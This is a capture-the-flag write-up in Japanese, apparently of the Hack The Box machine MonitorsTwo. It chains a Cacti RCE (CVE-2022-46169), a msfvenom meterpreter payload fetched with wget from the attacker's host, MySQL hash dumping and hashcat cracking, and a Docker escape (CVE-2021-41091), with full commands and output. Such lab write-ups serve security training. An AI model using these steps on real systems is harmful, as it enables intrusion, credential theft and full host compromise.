What you’ll learn
- dockerコンテナに対する攻撃
Enumration
nmap
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu) |_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Login to Cacti
80/tcp
user loginの画面が表示される。cactiのversion1.2.22が使われているようだ。
cactiの1.2.22ではCVEの2022-46169でRCEの脆弱性がPoC有りで公開されている。
https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22
Exploit
pocを使うと、シェルが取れた。
$ python3 CVE-2022-46169.py -u http://10.129.182.111 --LHOST=10.10.14.5 --LPORT=4433 Checking... The target is vulnerable. Exploiting... Bruteforcing the host_id and local_data_ids Bruteforce Success!! $ nc -lnvp 4433 Listening on 0.0.0.0 4433 Connection received on 10.129.182.111 56416 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell www-data@50bca5e748b0:/var/www/html$ whoami whoami www-data
Internal enumration
webshellは使いづらいのでmeterpreter shellへ
To metapreter shell
攻撃者の端末でリバースシェル用のelfファイルを作成、webサーバでリッスン。
attacker@ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=44444 -f elf >rev.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 123 bytes Final size of elf file: 207 bytes attacker@ python3 -m http.server 54322 Serving HTTP on 0.0.0.0 port 54322 (http://0.0.0.0:54322/) ...
msfconsoleを立ち上げて、metapreter shell用のリスナーを作成
$ msfconsole msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set lport 44444 lport => 44444 msf6 exploit(multi/handler) > set lhost 10.10.14.5 lhost => 10.10.14.5 msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf6 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (linux/x86/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.14.5 yes The listen address (an interface may be specified) LPORT 44444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command. msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.14.5:44444
webshellでelfファイルをダウンロード。elfファイルに権限を与えて実行
www-data@50bca5e748b0:/tmp$ wget http://10.10.14.5:54322/rev.elf 2023-07-10 05:33:05 (17.2 MB/s) - 'rev.elf' saved [207/207] www-data@50bca5e748b0:/tmp$ chmod 777 ./rev.elf www-data@50bca5e748b0:/tmp$ ./rev.elf
msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.14.5:44444 [*] Sending stage (1017704 bytes) to 10.129.212.0 [*] Meterpreter session 1 opened (10.10.14.5:44444 -> 10.129.212.0:42564) at 2023-07-10 05:33:38 +0000 meterpreter > getuid Server username: www-data
linpeas
dockerに関するファイルが見つかる。
╔══════════╣ Unexpected in root /.dockerenv /entrypoint.sh
中を見ると、dockerでmysqlを立ててて、クレデンシャルがroot:rootになってそう。
cat entrypoint.sh #!/bin/bash set -ex wait-for-it db:3306 -t 300 -- echo "database is connected" if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'" mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'" fi chown www-data:www-data -R /var/www/html # first arg is `-f` or `--some-option` if [ "${1#-}" != "$1" ]; then set -- apache2-foreground "$@" fi exec "$@"
そういえば、dockerのコンテナに接続してる。
meterpreter > netstat Connection list =============== Proto Local address Remote address State User Inode PID/Program name ----- ------------- -------------- ----- ---- ----- ---------------- tcp 127.0.0.11:37975 0.0.0.0:* LISTEN 0 0 tcp 0.0.0.0:80 0.0.0.0:* LISTEN 0 0 tcp 172.19.0.3:56416 10.10.14.5:4433 ESTABLISHED 33 0 tcp 172.19.0.3:41324 10.10.14.5:4242 ESTABLISHED 33 0 tcp 172.19.0.3:45192 172.19.0.2:3306 ESTABLISHED 33 0 tcp 172.19.0.3:80 172.19.0.1:59006 CLOSE_WAIT 33 0 tcp 172.19.0.3:57512 172.19.0.2:3306 ESTABLISHED 33 0 udp 127.0.0.11:58590 0.0.0.0:*
dockerのmysqlサーバに接続してみる。ログインできた🔥
www-data@50bca5e748b0:/$ mysql -u root -p -h 172.19.0.2 Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 631 Server version: 5.7.40 MySQL Community Server (GPL) Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | cacti | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0.001 sec)
MySQLサーバの中を覗いていく。パスワードのハッシュ値が見つかった。
MySQL [(none)]> use cacti Database changed MySQL [cacti]> describe user_auth; +------------------------+-----------------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +------------------------+-----------------------+------+-----+---------+----------------+ | id | mediumint(8) unsigned | NO | PRI | NULL | auto_increment | | username | varchar(50) | NO | MUL | 0 | | | password | varchar(256) | NO | | | | | realm | mediumint(8) | NO | MUL | 0 | | | full_name | varchar(100) | YES | | 0 | | | email_address | varchar(128) | YES | | NULL | | | must_change_password | char(2) | YES | | NULL | | | password_change | char(2) | YES | | on | | | show_tree | char(2) | YES | | on | | | show_list | char(2) | YES | | on | | | show_preview | char(2) | NO | | on | | | graph_settings | char(2) | YES | | NULL | | | login_opts | tinyint(3) unsigned | NO | | 1 | | | policy_graphs | tinyint(3) unsigned | NO | | 1 | | | policy_trees | tinyint(3) unsigned | NO | | 1 | | | policy_hosts | tinyint(3) unsigned | NO | | 1 | | | policy_graph_templates | tinyint(3) unsigned | NO | | 1 | | | enabled | char(2) | NO | MUL | on | | | lastchange | int(11) | NO | | -1 | | | lastlogin | int(11) | NO | | -1 | | | password_history | varchar(4096) | NO | | -1 | | | locked | varchar(3) | NO | | | | | failed_attempts | int(5) | NO | | 0 | | | lastfail | int(10) unsigned | NO | | 0 | | | reset_perms | int(10) unsigned | NO | | 0 | | +------------------------+-----------------------+------+-----+---------+----------------+ 25 rows in set (0.001 sec) MySQL [cacti]> select * from user_auth; +----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+ | id | username | password | realm | full_name | email_address | must_change_password | password_change | show_tree | show_list | show_preview | graph_settings | login_opts | policy_graphs | policy_trees | policy_hosts | policy_graph_templates | enabled | lastchange | lastlogin | password_history | locked | failed_attempts | lastfail | reset_perms | +----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+ | 1 | admin | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC | 0 | Jamie Thompson | admin@monitorstwo.htb | | on | on | on | on | on | 2 | 1 | 1 | 1 | 1 | on | -1 | -1 | -1 | | 0 | 0 | 663348655 | | 3 | guest | 43e9a4ab75570f5b | 0 | Guest Account | | on | on | on | on | on | 3 | 1 | 1 | 1 | 1 | 1 | | -1 | -1 | -1 | | 0 | 0 | 0 | | 4 | marcus | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C | 0 | Marcus Brune | marcus@monitorstwo.htb | | | on | on | on | on | 1 | 1 | 1 | 1 | 1 | on | -1 | -1 | | on | 0 | 0 | 2135691668 | +----+----------+--------------------------------------------------------------+-------+----------------+------------------------+----------------------+-----------------+-----------+-----------+--------------+----------------+------------+---------------+--------------+--------------+------------------------+---------+------------+-----------+------------------+--------+-----------------+----------+-------------+ 3 rows in set (0.001 sec)
Exploit
hashcat
hashcatでhashを解析する。ハッシュアルゴリズムはBlowfishだとわかる。
「2y」はBlowfishをハッシュアルゴリズムとして使用したことを意味しています。続く「$10$」の10はBlowfishアルゴリズムで使用される「コスト」を意味していて反復回数の計算に用いられます。
$ hashcat -hhh | grep -i blow 3200 | bcrypt $2*$, Blowfish (Unix) | Operating Systems $ hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force hashcat (v5.1.0) starting... $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C:funkymonkey
marcusのパスワードを入手🔥 webのログイン情報ではなかった。何のパスワードだろう。
だが、marcusというユーザはいない、、、
www-data@50bca5e748b0:/$ cat /etc/passwd | grep mar www-data@50bca5e748b0:/$
でもsshでログインやってみたら出来た、、、なぜだ、、、
passwdファイルにユーザが追加されてる。
ssh marcus@monitorstwo.htb marcus@monitorstwo.htb's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64) marcus@monitorstwo:~$ cat /etc/passwd| grep mar marcus:x:1000:1000:,,,:/home/marcus:/bin/bash marcus@monitorstwo:~$ cat user.txt 34e2*******************
フラグゲット!!!
Internal enumration
Dockerの脆弱性調査
Docker 20.10.5を利用していることがわかった。
marcus@monitorstwo:~$ docker --version Docker version 20.10.5+dfsg1, build 55c4c88
このバージョンでは CVE-2021-41091という脆弱性があり権限昇格に利用できるかもしれない。
PoCはこちら。
https://github.com/UncleJ4ck/CVE-2021-41091
まずはDockerコンテナ内でrootを取得しないといけない???
cactiにコマンドインジェクションしてとれるリバースシェルでDockerコンテナ内には入れてるようだけどrootの取得かぁ…
linpeas
capshにSUIDがついてる。コンテナ内でrootが取れそう。
- linpeas_docker
www-data@50bca5e748b0:/tmp$ /sbin/capsh --gid=0 --uid=0 -- root@50bca5e748b0:~# whoami root
Exploit
CVE-2021-41091を実行する。
コンテナのrootシェルで下記コマンドを実行。
root@50bca5e748b0:/tmp# chmod u+s /bin/bash
marcusのシェルでpocコードを実行。
marcus@monitorstwo:/var/lib/docker$ /tmp/exp.sh [!] Vulnerable to CVE-2021-41091 [!] Now connect to your Docker container that is accessible and obtain root access ! [>] After gaining root access execute this command (chmod u+s /bin/bash) Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes [!] Available Overlay2 Filesystems: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [!] Iterating over the available Overlay2 filesystems ! [?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged [x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged' [?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [!] Rooted ! [>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged [?] If it didn't spawn a shell go to this path and execute './bin/bash -p' [!] Spawning Shell bash-5.1# exit marcus@monitorstwo:/var/lib/docker$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ./bin/bash -p bash-5.1# whoami root
root権限奪取💨